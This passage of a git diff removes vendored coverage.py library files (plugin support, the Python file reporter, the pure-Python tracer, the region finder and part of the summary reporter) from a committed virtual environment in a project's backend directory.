line in self.source().splitlines(): - yield [("txt", line)] - - def code_regions(self) -> Iterable[CodeRegion]: - """Identify regions in the source file for finer reporting than by file. - - Returns an iterable of :class:`CodeRegion` objects. The kinds reported - should be in the possibilities returned by :meth:`code_region_kinds`. - - """ - return [] - - def code_region_kinds(self) -> Iterable[tuple[str, str]]: - """Return the kinds of code regions this plugin can find. - - The returned pairs are the singular and plural forms of the kinds:: - - [ - ("function", "functions"), - ("class", "classes"), - ] - - This will usually be hard-coded, but could also differ by the specific - source file involved. - - """ - return [] - - def __eq__(self, other: Any) -> bool: - return isinstance(other, FileReporter) and self.filename == other.filename - - def __lt__(self, other: Any) -> bool: - return isinstance(other, FileReporter) and self.filename < other.filename - - # This object doesn't need to be hashed. - __hash__ = None # type: ignore[assignment] diff --git a/backend/venv/Lib/site-packages/coverage/plugin_support.py b/backend/venv/Lib/site-packages/coverage/plugin_support.py deleted file mode 100644 index 127e375e..00000000 --- a/backend/venv/Lib/site-packages/coverage/plugin_support.py +++ /dev/null @@ -1,300 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Support for plugins.""" - -from __future__ import annotations - -import os -import os.path -import sys - -from types import FrameType -from typing import Any, Callable -from collections.abc import Iterable, Iterator - -from coverage.exceptions import PluginError -from coverage.misc import isolate_module -from coverage.plugin import CoveragePlugin, FileTracer, FileReporter -from coverage.types import ( - TArc, TConfigurable, TDebugCtl, TLineNo, TPluginConfig, TSourceTokenLines -) - -os = isolate_module(os) - - -class Plugins: - """The currently loaded collection of coverage.py plugins.""" - - def __init__(self, debug: TDebugCtl | None = None) -> None: - self.order: list[CoveragePlugin] = [] - self.names: dict[str, CoveragePlugin] = {} - self.file_tracers: list[CoveragePlugin] = [] - self.configurers: list[CoveragePlugin] = [] - self.context_switchers: list[CoveragePlugin] = [] - - self.current_module: str | None = None - self.debug = debug - - def load_from_config( - self, - modules: Iterable[str], - config: TPluginConfig, - ) -> None: - """Load plugin modules, and read their settings from configuration.""" - - for module in modules: - self.current_module = module - __import__(module) - mod = sys.modules[module] - - coverage_init = getattr(mod, "coverage_init", None) - if not coverage_init: - raise PluginError( - f"Plugin module {module!r} didn't define a coverage_init function", - ) - - options = config.get_plugin_options(module) - coverage_init(self, options) - - self.current_module = None - - def load_from_callables( - self, - plugin_inits: Iterable[TCoverageInit], - ) -> None: - """Load plugins from callables provided.""" - for fn in plugin_inits: - fn(self) - - def add_file_tracer(self, plugin: CoveragePlugin) -> None: - """Add a file tracer plugin. - - `plugin` is an instance of a third-party plugin class. It must - implement the :meth:`CoveragePlugin.file_tracer` method. - - """ - self._add_plugin(plugin, self.file_tracers) - - def add_configurer(self, plugin: CoveragePlugin) -> None: - """Add a configuring plugin. - - `plugin` is an instance of a third-party plugin class. It must - implement the :meth:`CoveragePlugin.configure` method. - - """ - self._add_plugin(plugin, self.configurers) - - def add_dynamic_context(self, plugin: CoveragePlugin) -> None: - """Add a dynamic context plugin. - - `plugin` is an instance of a third-party plugin class. It must - implement the :meth:`CoveragePlugin.dynamic_context` method. - - """ - self._add_plugin(plugin, self.context_switchers) - - def add_noop(self, plugin: CoveragePlugin) -> None: - """Add a plugin that does nothing. - - This is only useful for testing the plugin support. - - """ - self._add_plugin(plugin, None) - - def _add_plugin( - self, - plugin: CoveragePlugin, - specialized: list[CoveragePlugin] | None, - ) -> None: - """Add a plugin object. - - `plugin` is a :class:`CoveragePlugin` instance to add. `specialized` - is a list to append the plugin to. - - """ - plugin_name = f"{self.current_module}.{plugin.__class__.__name__}" - if self.debug and self.debug.should("plugin"): - self.debug.write(f"Loaded plugin {self.current_module!r}: {plugin!r}") - labelled = LabelledDebug(f"plugin {self.current_module!r}", self.debug) - plugin = DebugPluginWrapper(plugin, labelled) - - plugin._coverage_plugin_name = plugin_name - plugin._coverage_enabled = True - self.order.append(plugin) - self.names[plugin_name] = plugin - if specialized is not None: - specialized.append(plugin) - - def __bool__(self) -> bool: - return bool(self.order) - - def __iter__(self) -> Iterator[CoveragePlugin]: - return iter(self.order) - - def get(self, plugin_name: str) -> CoveragePlugin: - """Return a plugin by name.""" - return self.names[plugin_name] - - -TCoverageInit = Callable[[Plugins], None] - - -class LabelledDebug: - """A Debug writer, but with labels for prepending to the messages.""" - - def __init__(self, label: str, debug: TDebugCtl, prev_labels: Iterable[str] = ()): - self.labels = list(prev_labels) + [label] - self.debug = debug - - def add_label(self, label: str) -> LabelledDebug: - """Add a label to the writer, and return a new `LabelledDebug`.""" - return LabelledDebug(label, self.debug, self.labels) - - def message_prefix(self) -> str: - """The prefix to use on messages, combining the labels.""" - prefixes = self.labels + [""] - return ":\n".join(" "*i+label for i, label in enumerate(prefixes)) - - def write(self, message: str) -> None: - """Write `message`, but with the labels prepended.""" - self.debug.write(f"{self.message_prefix()}{message}") - - -class DebugPluginWrapper(CoveragePlugin): - """Wrap a plugin, and use debug to report on what it's doing.""" - - def __init__(self, plugin: CoveragePlugin, debug: LabelledDebug) -> None: - super().__init__() - self.plugin = plugin - self.debug = debug - - def file_tracer(self, filename: str) -> FileTracer | None: - tracer = self.plugin.file_tracer(filename) - self.debug.write(f"file_tracer({filename!r}) --> {tracer!r}") - if tracer: - debug = self.debug.add_label(f"file {filename!r}") - tracer = DebugFileTracerWrapper(tracer, debug) - return tracer - - def file_reporter(self, filename: str) -> FileReporter | str: - reporter = self.plugin.file_reporter(filename) - assert isinstance(reporter, FileReporter) - self.debug.write(f"file_reporter({filename!r}) --> {reporter!r}") - if reporter: - debug = self.debug.add_label(f"file {filename!r}") - reporter = DebugFileReporterWrapper(filename, reporter, debug) - return reporter - - def dynamic_context(self, frame: FrameType) -> str | None: - context = self.plugin.dynamic_context(frame) - self.debug.write(f"dynamic_context({frame!r}) --> {context!r}") - return context - - def find_executable_files(self, src_dir: str) -> Iterable[str]: - executable_files = self.plugin.find_executable_files(src_dir) - self.debug.write(f"find_executable_files({src_dir!r}) --> {executable_files!r}") - return executable_files - - def configure(self, config: TConfigurable) -> None: - self.debug.write(f"configure({config!r})") - self.plugin.configure(config) - - def sys_info(self) -> Iterable[tuple[str, Any]]: - return self.plugin.sys_info() - - -class DebugFileTracerWrapper(FileTracer): - """A debugging `FileTracer`.""" - - def __init__(self, tracer: FileTracer, debug: LabelledDebug) -> None: - self.tracer = tracer - self.debug = debug - - def _show_frame(self, frame: FrameType) -> str: - """A short string identifying a frame, for debug messages.""" - return "%s@%d" % ( - os.path.basename(frame.f_code.co_filename), - frame.f_lineno, - ) - - def source_filename(self) -> str: - sfilename = self.tracer.source_filename() - self.debug.write(f"source_filename() --> {sfilename!r}") - return sfilename - - def has_dynamic_source_filename(self) -> bool: - has = self.tracer.has_dynamic_source_filename() - self.debug.write(f"has_dynamic_source_filename() --> {has!r}") - return has - - def dynamic_source_filename(self, filename: str, frame: FrameType) -> str | None: - dyn = self.tracer.dynamic_source_filename(filename, frame) - self.debug.write("dynamic_source_filename({!r}, {}) --> {!r}".format( - filename, self._show_frame(frame), dyn, - )) - return dyn - - def line_number_range(self, frame: FrameType) -> tuple[TLineNo, TLineNo]: - pair = self.tracer.line_number_range(frame) - self.debug.write(f"line_number_range({self._show_frame(frame)}) --> {pair!r}") - return pair - - -class DebugFileReporterWrapper(FileReporter): - """A debugging `FileReporter`.""" - - def __init__(self, filename: str, reporter: FileReporter, debug: LabelledDebug) -> None: - super().__init__(filename) - self.reporter = reporter - self.debug = debug - - def relative_filename(self) -> str: - ret = self.reporter.relative_filename() - self.debug.write(f"relative_filename() --> {ret!r}") - return ret - - def lines(self) -> set[TLineNo]: - ret = self.reporter.lines() - self.debug.write(f"lines() --> {ret!r}") - return ret - - def excluded_lines(self) -> set[TLineNo]: - ret = self.reporter.excluded_lines() - self.debug.write(f"excluded_lines() --> {ret!r}") - return ret - - def translate_lines(self, lines: Iterable[TLineNo]) -> set[TLineNo]: - ret = self.reporter.translate_lines(lines) - self.debug.write(f"translate_lines({lines!r}) --> {ret!r}") - return ret - - def translate_arcs(self, arcs: Iterable[TArc]) -> set[TArc]: - ret = self.reporter.translate_arcs(arcs) - self.debug.write(f"translate_arcs({arcs!r}) --> {ret!r}") - return ret - - def no_branch_lines(self) -> set[TLineNo]: - ret = self.reporter.no_branch_lines() - self.debug.write(f"no_branch_lines() --> {ret!r}") - return ret - - def exit_counts(self) -> dict[TLineNo, int]: - ret = self.reporter.exit_counts() - self.debug.write(f"exit_counts() --> {ret!r}") - return ret - - def arcs(self) -> set[TArc]: - ret = self.reporter.arcs() - self.debug.write(f"arcs() --> {ret!r}") - return ret - - def source(self) -> str: - ret = self.reporter.source() - self.debug.write("source() --> %d chars" % (len(ret),)) - return ret - - def source_token_lines(self) -> TSourceTokenLines: - ret = list(self.reporter.source_token_lines()) - self.debug.write("source_token_lines() --> %d tokens" % (len(ret),)) - return ret diff --git a/backend/venv/Lib/site-packages/coverage/py.typed b/backend/venv/Lib/site-packages/coverage/py.typed deleted file mode 100644 index bacd23a1..00000000 --- a/backend/venv/Lib/site-packages/coverage/py.typed +++ /dev/null @@ -1 +0,0 @@ -# Marker file for PEP 561 to indicate that this package has type hints. diff --git a/backend/venv/Lib/site-packages/coverage/python.py b/backend/venv/Lib/site-packages/coverage/python.py deleted file mode 100644 index e87ff43c..00000000 --- a/backend/venv/Lib/site-packages/coverage/python.py +++ /dev/null @@ -1,273 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Python source expertise for coverage.py""" - -from __future__ import annotations - -import os.path -import types -import zipimport - -from typing import TYPE_CHECKING -from collections.abc import Iterable - -from coverage import env -from coverage.exceptions import CoverageException, NoSource -from coverage.files import canonical_filename, relative_filename, zip_location -from coverage.misc import isolate_module, join_regex -from coverage.parser import PythonParser -from coverage.phystokens import source_token_lines, source_encoding -from coverage.plugin import CodeRegion, FileReporter -from coverage.regions import code_regions -from coverage.types import TArc, TLineNo, TMorf, TSourceTokenLines - -if TYPE_CHECKING: - from coverage import Coverage - -os = isolate_module(os) - - -def read_python_source(filename: str) -> bytes: - """Read the Python source text from `filename`. - - Returns bytes. - - """ - with open(filename, "rb") as f: - source = f.read() - - return source.replace(b"\r\n", b"\n").replace(b"\r", b"\n") - - -def get_python_source(filename: str) -> str: - """Return the source code, as unicode.""" - base, ext = os.path.splitext(filename) - if ext == ".py" and env.WINDOWS: - exts = [".py", ".pyw"] - else: - exts = [ext] - - source_bytes: bytes | None - for ext in exts: - try_filename = base + ext - if os.path.exists(try_filename): - # A regular text file: open it. - source_bytes = read_python_source(try_filename) - break - - # Maybe it's in a zip file? - source_bytes = get_zip_bytes(try_filename) - if source_bytes is not None: - break - else: - # Couldn't find source. - raise NoSource(f"No source for code: '{filename}'.") - - # Replace \f because of http://bugs.python.org/issue19035 - source_bytes = source_bytes.replace(b"\f", b" ") - source = source_bytes.decode(source_encoding(source_bytes), "replace") - - # Python code should always end with a line with a newline. - if source and source[-1] != "\n": - source += "\n" - - return source - - -def get_zip_bytes(filename: str) -> bytes | None: - """Get data from `filename` if it is a zip file path. - - Returns the bytestring data read from the zip file, or None if no zip file - could be found or `filename` isn't in it. The data returned will be - an empty string if the file is empty. - - """ - zipfile_inner = zip_location(filename) - if zipfile_inner is not None: - zipfile, inner = zipfile_inner - try: - zi = zipimport.zipimporter(zipfile) - except zipimport.ZipImportError: - return None - try: - data = zi.get_data(inner) - except OSError: - return None - return data - return None - - -def source_for_file(filename: str) -> str: - """Return the source filename for `filename`. - - Given a file name being traced, return the best guess as to the source - file to attribute it to. - - """ - if filename.endswith(".py"): - # .py files are themselves source files. - return filename - - elif filename.endswith((".pyc", ".pyo")): - # Bytecode files probably have source files near them. - py_filename = filename[:-1] - if os.path.exists(py_filename): - # Found a .py file, use that. - return py_filename - if env.WINDOWS: - # On Windows, it could be a .pyw file. - pyw_filename = py_filename + "w" - if os.path.exists(pyw_filename): - return pyw_filename - # Didn't find source, but it's probably the .py file we want. - return py_filename - - # No idea, just use the file name as-is. - return filename - - -def source_for_morf(morf: TMorf) -> str: - """Get the source filename for the module-or-file `morf`.""" - if hasattr(morf, "__file__") and morf.__file__: - filename = morf.__file__ - elif isinstance(morf, types.ModuleType): - # A module should have had .__file__, otherwise we can't use it. - # This could be a PEP-420 namespace package. - raise CoverageException(f"Module {morf} has no file") - else: - filename = morf - - filename = source_for_file(filename) - return filename - - -class PythonFileReporter(FileReporter): - """Report support for a Python file.""" - - def __init__(self, morf: TMorf, coverage: Coverage | None = None) -> None: - self.coverage = coverage - - filename = source_for_morf(morf) - - fname = filename - canonicalize = True - if self.coverage is not None: - if self.coverage.config.relative_files: - canonicalize = False - if canonicalize: - fname = canonical_filename(filename) - super().__init__(fname) - - if hasattr(morf, "__name__"): - name = morf.__name__.replace(".", os.sep) - if os.path.basename(filename).startswith("__init__."): - name += os.sep + "__init__" - name += ".py" - else: - name = relative_filename(filename) - self.relname = name - - self._source: str | None = None - self._parser: PythonParser | None = None - self._excluded = None - - def __repr__(self) -> str: - return f"" - - def relative_filename(self) -> str: - return self.relname - - @property - def parser(self) -> PythonParser: - """Lazily create a :class:`PythonParser`.""" - assert self.coverage is not None - if self._parser is None: - self._parser = PythonParser( - filename=self.filename, - exclude=self.coverage._exclude_regex("exclude"), - ) - self._parser.parse_source() - return self._parser - - def lines(self) -> set[TLineNo]: - """Return the line numbers of statements in the file.""" - return self.parser.statements - - def excluded_lines(self) -> set[TLineNo]: - """Return the line numbers of statements in the file.""" - return self.parser.excluded - - def translate_lines(self, lines: Iterable[TLineNo]) -> set[TLineNo]: - return self.parser.translate_lines(lines) - - def translate_arcs(self, arcs: Iterable[TArc]) -> set[TArc]: - return self.parser.translate_arcs(arcs) - - def no_branch_lines(self) -> set[TLineNo]: - assert self.coverage is not None - no_branch = self.parser.lines_matching( - join_regex( - self.coverage.config.partial_list - + self.coverage.config.partial_always_list - ) - ) - return no_branch - - def arcs(self) -> set[TArc]: - return self.parser.arcs() - - def exit_counts(self) -> dict[TLineNo, int]: - return self.parser.exit_counts() - - def missing_arc_description( - self, - start: TLineNo, - end: TLineNo, - executed_arcs: Iterable[TArc] | None = None, - ) -> str: - return self.parser.missing_arc_description(start, end) - - def arc_description( - self, - start: TLineNo, - end: TLineNo - ) -> str: - return self.parser.arc_description(start, end) - - def source(self) -> str: - if self._source is None: - self._source = get_python_source(self.filename) - return self._source - - def should_be_python(self) -> bool: - """Does it seem like this file should contain Python? - - This is used to decide if a file reported as part of the execution of - a program was really likely to have contained Python in the first - place. - - """ - # Get the file extension. - _, ext = os.path.splitext(self.filename) - - # Anything named *.py* should be Python. - if ext.startswith(".py"): - return True - # A file with no extension should be Python. - if not ext: - return True - # Everything else is probably not Python. - return False - - def source_token_lines(self) -> TSourceTokenLines: - return source_token_lines(self.source()) - - def code_regions(self) -> Iterable[CodeRegion]: - return code_regions(self.source()) - - def code_region_kinds(self) -> Iterable[tuple[str, str]]: - return [ - ("function", "functions"), - ("class", "classes"), - ] diff --git a/backend/venv/Lib/site-packages/coverage/pytracer.py b/backend/venv/Lib/site-packages/coverage/pytracer.py deleted file mode 100644 index 31b4866c..00000000 --- a/backend/venv/Lib/site-packages/coverage/pytracer.py +++ /dev/null @@ -1,372 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Raw data collector for coverage.py.""" - -from __future__ import annotations - -import atexit -import dis -import itertools -import sys -import threading - -from types import FrameType, ModuleType -from typing import Any, Callable, cast - -from coverage import env -from coverage.types import ( - TArc, - TFileDisposition, - TLineNo, - TShouldStartContextFn, - TShouldTraceFn, - TTraceData, - TTraceFileData, - TTraceFn, - TWarnFn, - Tracer, -) - - -# I don't understand why, but if we use `cast(set[TLineNo], ...)` inside -# the _trace() function, we get some strange behavior on PyPy 3.10. -# Assigning these names here and using them below fixes the problem. -# See https://github.com/nedbat/coveragepy/issues/1902 -set_TLineNo = set[TLineNo] -set_TArc = set[TArc] - - -# We need the YIELD_VALUE opcode below, in a comparison-friendly form. -# PYVERSIONS: RESUME is new in Python3.11 -RESUME = dis.opmap.get("RESUME") -RETURN_VALUE = dis.opmap["RETURN_VALUE"] -if RESUME is None: - YIELD_VALUE = dis.opmap["YIELD_VALUE"] - YIELD_FROM = dis.opmap["YIELD_FROM"] - YIELD_FROM_OFFSET = 0 if env.PYPY else 2 -else: - YIELD_VALUE = YIELD_FROM = YIELD_FROM_OFFSET = -1 - -# When running meta-coverage, this file can try to trace itself, which confuses -# everything. Don't trace ourselves. - -THIS_FILE = __file__.rstrip("co") - -class PyTracer(Tracer): - """Python implementation of the raw data tracer.""" - - # Because of poor implementations of trace-function-manipulating tools, - # the Python trace function must be kept very simple. In particular, there - # must be only one function ever set as the trace function, both through - # sys.settrace, and as the return value from the trace function. Put - # another way, the trace function must always return itself. It cannot - # swap in other functions, or return None to avoid tracing a particular - # frame. - # - # The trace manipulator that introduced this restriction is DecoratorTools, - # which sets a trace function, and then later restores the pre-existing one - # by calling sys.settrace with a function it found in the current frame. - # - # Systems that use DecoratorTools (or similar trace manipulations) must use - # PyTracer to get accurate results. The command-line --timid argument is - # used to force the use of this tracer. - - tracer_ids = itertools.count() - - def __init__(self) -> None: - # Which tracer are we? - self.id = next(self.tracer_ids) - - # Attributes set from the collector: - self.data: TTraceData - self.trace_arcs = False - self.should_trace: TShouldTraceFn - self.should_trace_cache: dict[str, TFileDisposition | None] - self.should_start_context: TShouldStartContextFn | None = None - self.switch_context: Callable[[str | None], None] | None = None - self.lock_data: Callable[[], None] - self.unlock_data: Callable[[], None] - self.warn: TWarnFn - - # The threading module to use, if any. - self.threading: ModuleType | None = None - - self.cur_file_data: TTraceFileData | None = None - self.last_line: TLineNo = 0 - self.cur_file_name: str | None = None - self.context: str | None = None - self.started_context = False - - # The data_stack parallels the Python call stack. Each entry is - # information about an active frame, a four-element tuple: - # [0] The TTraceData for this frame's file. Could be None if we - # aren't tracing this frame. - # [1] The current file name for the frame. None if we aren't tracing - # this frame. - # [2] The last line number executed in this frame. - # [3] Boolean: did this frame start a new context? - self.data_stack: list[tuple[TTraceFileData | None, str | None, TLineNo, bool]] = [] - self.thread: threading.Thread | None = None - self.stopped = False - self._activity = False - - self.in_atexit = False - # On exit, self.in_atexit = True - atexit.register(setattr, self, "in_atexit", True) - - # Cache a bound method on the instance, so that we don't have to - # re-create a bound method object all the time. - self._cached_bound_method_trace: TTraceFn = self._trace - - def __repr__(self) -> str: - points = sum(len(v) for v in self.data.values()) - files = len(self.data) - return f"" - - def log(self, marker: str, *args: Any) -> None: - """For hard-core logging of what this tracer is doing.""" - with open("/tmp/debug_trace.txt", "a", encoding="utf-8") as f: - f.write(f"{marker} {self.id}[{len(self.data_stack)}]") - if 0: # if you want thread ids.. - f.write(".{:x}.{:x}".format( # type: ignore[unreachable] - self.thread.ident, - self.threading.current_thread().ident, - )) - f.write(" {}".format(" ".join(map(str, args)))) - if 0: # if you want callers.. - f.write(" | ") # type: ignore[unreachable] - stack = " / ".join( - (fname or "???").rpartition("/")[-1] - for _, fname, _, _ in self.data_stack - ) - f.write(stack) - f.write("\n") - - def _trace( - self, - frame: FrameType, - event: str, - arg: Any, # pylint: disable=unused-argument - lineno: TLineNo | None = None, # pylint: disable=unused-argument - ) -> TTraceFn | None: - """The trace function passed to sys.settrace.""" - - if THIS_FILE in frame.f_code.co_filename: - return None - - # f = frame; code = f.f_code - # self.log(":", f"{code.co_filename} {f.f_lineno} {code.co_name}()", event) - - if (self.stopped and sys.gettrace() == self._cached_bound_method_trace): # pylint: disable=comparison-with-callable - # The PyTrace.stop() method has been called, possibly by another - # thread, let's deactivate ourselves now. - if 0: - f = frame # type: ignore[unreachable] - self.log("---\nX", f.f_code.co_filename, f.f_lineno) - while f: - self.log(">", f.f_code.co_filename, f.f_lineno, f.f_code.co_name, f.f_trace) - f = f.f_back - sys.settrace(None) - try: - self.cur_file_data, self.cur_file_name, self.last_line, self.started_context = ( - self.data_stack.pop() - ) - except IndexError: - self.log( - "Empty stack!", - frame.f_code.co_filename, - frame.f_lineno, - frame.f_code.co_name, - ) - return None - - # if event != "call" and frame.f_code.co_filename != self.cur_file_name: - # self.log("---\n*", frame.f_code.co_filename, self.cur_file_name, frame.f_lineno) - - if event == "call": - # Should we start a new context? - if self.should_start_context and self.context is None: - context_maybe = self.should_start_context(frame) # pylint: disable=not-callable - if context_maybe is not None: - self.context = context_maybe - started_context = True - assert self.switch_context is not None - self.switch_context(self.context) # pylint: disable=not-callable - else: - started_context = False - else: - started_context = False - self.started_context = started_context - - # Entering a new frame. Decide if we should trace in this file. - self._activity = True - self.data_stack.append( - ( - self.cur_file_data, - self.cur_file_name, - self.last_line, - started_context, - ), - ) - - # Improve tracing performance: when calling a function, both caller - # and callee are often within the same file. if that's the case, we - # don't have to re-check whether to trace the corresponding - # function (which is a little bit expensive since it involves - # dictionary lookups). This optimization is only correct if we - # didn't start a context. - filename = frame.f_code.co_filename - if filename != self.cur_file_name or started_context: - self.cur_file_name = filename - disp = self.should_trace_cache.get(filename) - if disp is None: - disp = self.should_trace(filename, frame) - self.should_trace_cache[filename] = disp - - self.cur_file_data = None - if disp.trace: - tracename = disp.source_filename - assert tracename is not None - self.lock_data() - try: - if tracename not in self.data: - self.data[tracename] = set() - finally: - self.unlock_data() - self.cur_file_data = self.data[tracename] - else: - frame.f_trace_lines = False - elif not self.cur_file_data: - frame.f_trace_lines = False - - # The call event is really a "start frame" event, and happens for - # function calls and re-entering generators. The f_lasti field is - # -1 for calls, and a real offset for generators. Use <0 as the - # line number for calls, and the real line number for generators. - if RESUME is not None: - # The current opcode is guaranteed to be RESUME. The argument - # determines what kind of resume it is. - oparg = frame.f_code.co_code[frame.f_lasti + 1] - real_call = (oparg == 0) - else: - real_call = (getattr(frame, "f_lasti", -1) < 0) - if real_call: - self.last_line = -frame.f_code.co_firstlineno - else: - self.last_line = frame.f_lineno - - elif event == "line": - # Record an executed line. - if self.cur_file_data is not None: - flineno: TLineNo = frame.f_lineno - - if self.trace_arcs: - cast(set_TArc, self.cur_file_data).add((self.last_line, flineno)) - else: - cast(set_TLineNo, self.cur_file_data).add(flineno) - self.last_line = flineno - - elif event == "return": - if self.trace_arcs and self.cur_file_data: - # Record an arc leaving the function, but beware that a - # "return" event might just mean yielding from a generator. - code = frame.f_code.co_code - lasti = frame.f_lasti - if RESUME is not None: - if len(code) == lasti + 2: - # A return from the end of a code object is a real return. - real_return = True - else: - # It is a real return if we aren't going to resume next. - if env.PYBEHAVIOR.lasti_is_yield: - lasti += 2 - real_return = (code[lasti] != RESUME) - else: - if code[lasti] == RETURN_VALUE: - real_return = True - elif code[lasti] == YIELD_VALUE: - real_return = False - elif len(code) <= lasti + YIELD_FROM_OFFSET: - real_return = True - elif code[lasti + YIELD_FROM_OFFSET] == YIELD_FROM: - real_return = False - else: - real_return = True - if real_return: - first = frame.f_code.co_firstlineno - cast(set_TArc, self.cur_file_data).add((self.last_line, -first)) - - # Leaving this function, pop the filename stack. - self.cur_file_data, self.cur_file_name, self.last_line, self.started_context = ( - self.data_stack.pop() - ) - # Leaving a context? - if self.started_context: - assert self.switch_context is not None - self.context = None - self.switch_context(None) # pylint: disable=not-callable - - return self._cached_bound_method_trace - - def start(self) -> TTraceFn: - """Start this Tracer. - - Return a Python function suitable for use with sys.settrace(). - - """ - self.stopped = False - if self.threading: - if self.thread is None: - self.thread = self.threading.current_thread() - - sys.settrace(self._cached_bound_method_trace) - return self._cached_bound_method_trace - - def stop(self) -> None: - """Stop this Tracer.""" - # Get the active tracer callback before setting the stop flag to be - # able to detect if the tracer was changed prior to stopping it. - tf = sys.gettrace() - - # Set the stop flag. The actual call to sys.settrace(None) will happen - # in the self._trace callback itself to make sure to call it from the - # right thread. - self.stopped = True - - if self.threading: - assert self.thread is not None - if self.thread.ident != self.threading.current_thread().ident: - # Called on a different thread than started us: we can't unhook - # ourselves, but we've set the flag that we should stop, so we - # won't do any more tracing. - #self.log("~", "stopping on different threads") - return - - # PyPy clears the trace function before running atexit functions, - # so don't warn if we are in atexit on PyPy and the trace function - # has changed to None. Metacoverage also messes this up, so don't - # warn if we are measuring ourselves. - suppress_warning = ( - (env.PYPY and self.in_atexit and tf is None) - or env.METACOV - ) - if self.warn and not suppress_warning: - if tf != self._cached_bound_method_trace: # pylint: disable=comparison-with-callable - self.warn( - "Trace function changed, data is likely wrong: " + - f"{tf!r} != {self._cached_bound_method_trace!r}", - slug="trace-changed", - ) - - def activity(self) -> bool: - """Has there been any activity?""" - return self._activity - - def reset_activity(self) -> None: - """Reset the activity() flag.""" - self._activity = False - - def get_stats(self) -> dict[str, int] | None: - """Return a dictionary of statistics, or None.""" - return None diff --git a/backend/venv/Lib/site-packages/coverage/regions.py b/backend/venv/Lib/site-packages/coverage/regions.py deleted file mode 100644 index 7954be69..00000000 --- a/backend/venv/Lib/site-packages/coverage/regions.py +++ /dev/null @@ -1,126 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Find functions and classes in Python code.""" - -from __future__ import annotations - -import ast -import dataclasses - -from typing import cast - -from coverage.plugin import CodeRegion - - -@dataclasses.dataclass -class Context: - """The nested named context of a function or class.""" - name: str - kind: str - lines: set[int] - - -class RegionFinder: - """An ast visitor that will find and track regions of code. - - Functions and classes are tracked by name. Results are in the .regions - attribute. - - """ - def __init__(self) -> None: - self.regions: list[CodeRegion] = [] - self.context: list[Context] = [] - - def parse_source(self, source: str) -> None: - """Parse `source` and walk the ast to populate the .regions attribute.""" - self.handle_node(ast.parse(source)) - - def fq_node_name(self) -> str: - """Get the current fully qualified name we're processing.""" - return ".".join(c.name for c in self.context) - - def handle_node(self, node: ast.AST) -> None: - """Recursively handle any node.""" - if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)): - self.handle_FunctionDef(node) - elif isinstance(node, ast.ClassDef): - self.handle_ClassDef(node) - else: - self.handle_node_body(node) - - def handle_node_body(self, node: ast.AST) -> None: - """Recursively handle the nodes in this node's body, if any.""" - for body_node in getattr(node, "body", ()): - self.handle_node(body_node) - - def handle_FunctionDef(self, node: ast.FunctionDef | ast.AsyncFunctionDef) -> None: - """Called for `def` or `async def`.""" - lines = set(range(node.body[0].lineno, cast(int, node.body[-1].end_lineno) + 1)) - if self.context and self.context[-1].kind == "class": - # Function bodies are part of their enclosing class. - self.context[-1].lines |= lines - # Function bodies should be excluded from the nearest enclosing function. - for ancestor in reversed(self.context): - if ancestor.kind == "function": - ancestor.lines -= lines - break - self.context.append(Context(node.name, "function", lines)) - self.regions.append( - CodeRegion( - kind="function", - name=self.fq_node_name(), - start=node.lineno, - lines=lines, - ) - ) - self.handle_node_body(node) - self.context.pop() - - def handle_ClassDef(self, node: ast.ClassDef) -> None: - """Called for `class`.""" - # The lines for a class are the lines in the methods of the class. - # We start empty, and count on visit_FunctionDef to add the lines it - # finds. - lines: set[int] = set() - self.context.append(Context(node.name, "class", lines)) - self.regions.append( - CodeRegion( - kind="class", - name=self.fq_node_name(), - start=node.lineno, - lines=lines, - ) - ) - self.handle_node_body(node) - self.context.pop() - # Class bodies should be excluded from the enclosing classes. - for ancestor in reversed(self.context): - if ancestor.kind == "class": - ancestor.lines -= lines - - -def code_regions(source: str) -> list[CodeRegion]: - """Find function and class regions in source code. - - Analyzes the code in `source`, and returns a list of :class:`CodeRegion` - objects describing functions and classes as regions of the code:: - - [ - CodeRegion(kind="function", name="func1", start=8, lines={10, 11, 12}), - CodeRegion(kind="function", name="MyClass.method", start=30, lines={34, 35, 36}), - CodeRegion(kind="class", name="MyClass", start=25, lines={34, 35, 36}), - ] - - The line numbers will include comments and blank lines. Later processing - will need to ignore those lines as needed. - - Nested functions and classes are excluded from their enclosing region. No - line should be reported as being part of more than one function, or more - than one class. Lines in methods are reported as being in a function and - in a class. - - """ - rf = RegionFinder() - rf.parse_source(source) - return rf.regions diff --git a/backend/venv/Lib/site-packages/coverage/report.py b/backend/venv/Lib/site-packages/coverage/report.py deleted file mode 100644 index bf04f2a8..00000000 --- a/backend/venv/Lib/site-packages/coverage/report.py +++ /dev/null @@ -1,282 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Summary reporting""" - -from __future__ import annotations - -import sys - -from typing import Any, IO, TYPE_CHECKING -from collections.abc import Iterable - -from coverage.exceptions import ConfigError, NoDataError -from coverage.misc import human_sorted_items -from coverage.plugin import FileReporter -from coverage.report_core import get_analysis_to_report -from coverage.results import Analysis, Numbers -from coverage.types import TMorf - -if TYPE_CHECKING: - from coverage import Coverage - - -class SummaryReporter: - """A reporter for writing the summary report.""" - - def __init__(self, coverage: Coverage) -> None: - self.coverage = coverage - self.config = self.coverage.config - self.branches = coverage.get_data().has_arcs() - self.outfile: IO[str] | None = None - self.output_format = self.config.format or "text" - if self.output_format not in {"text", "markdown", "total"}: - raise ConfigError(f"Unknown report format choice: {self.output_format!r}") - self.fr_analysis: list[tuple[FileReporter, Analysis]] = [] - self.skipped_count = 0 - self.empty_count = 0 - self.total = Numbers(precision=self.config.precision) - - def write(self, line: str) -> None: - """Write a line to the output, adding a newline.""" - assert self.outfile is not None - self.outfile.write(line.rstrip()) - self.outfile.write("\n") - - def write_items(self, items: Iterable[str]) -> None: - """Write a list of strings, joined together.""" - self.write("".join(items)) - - def _report_text( - self, - header: list[str], - lines_values: list[list[Any]], - 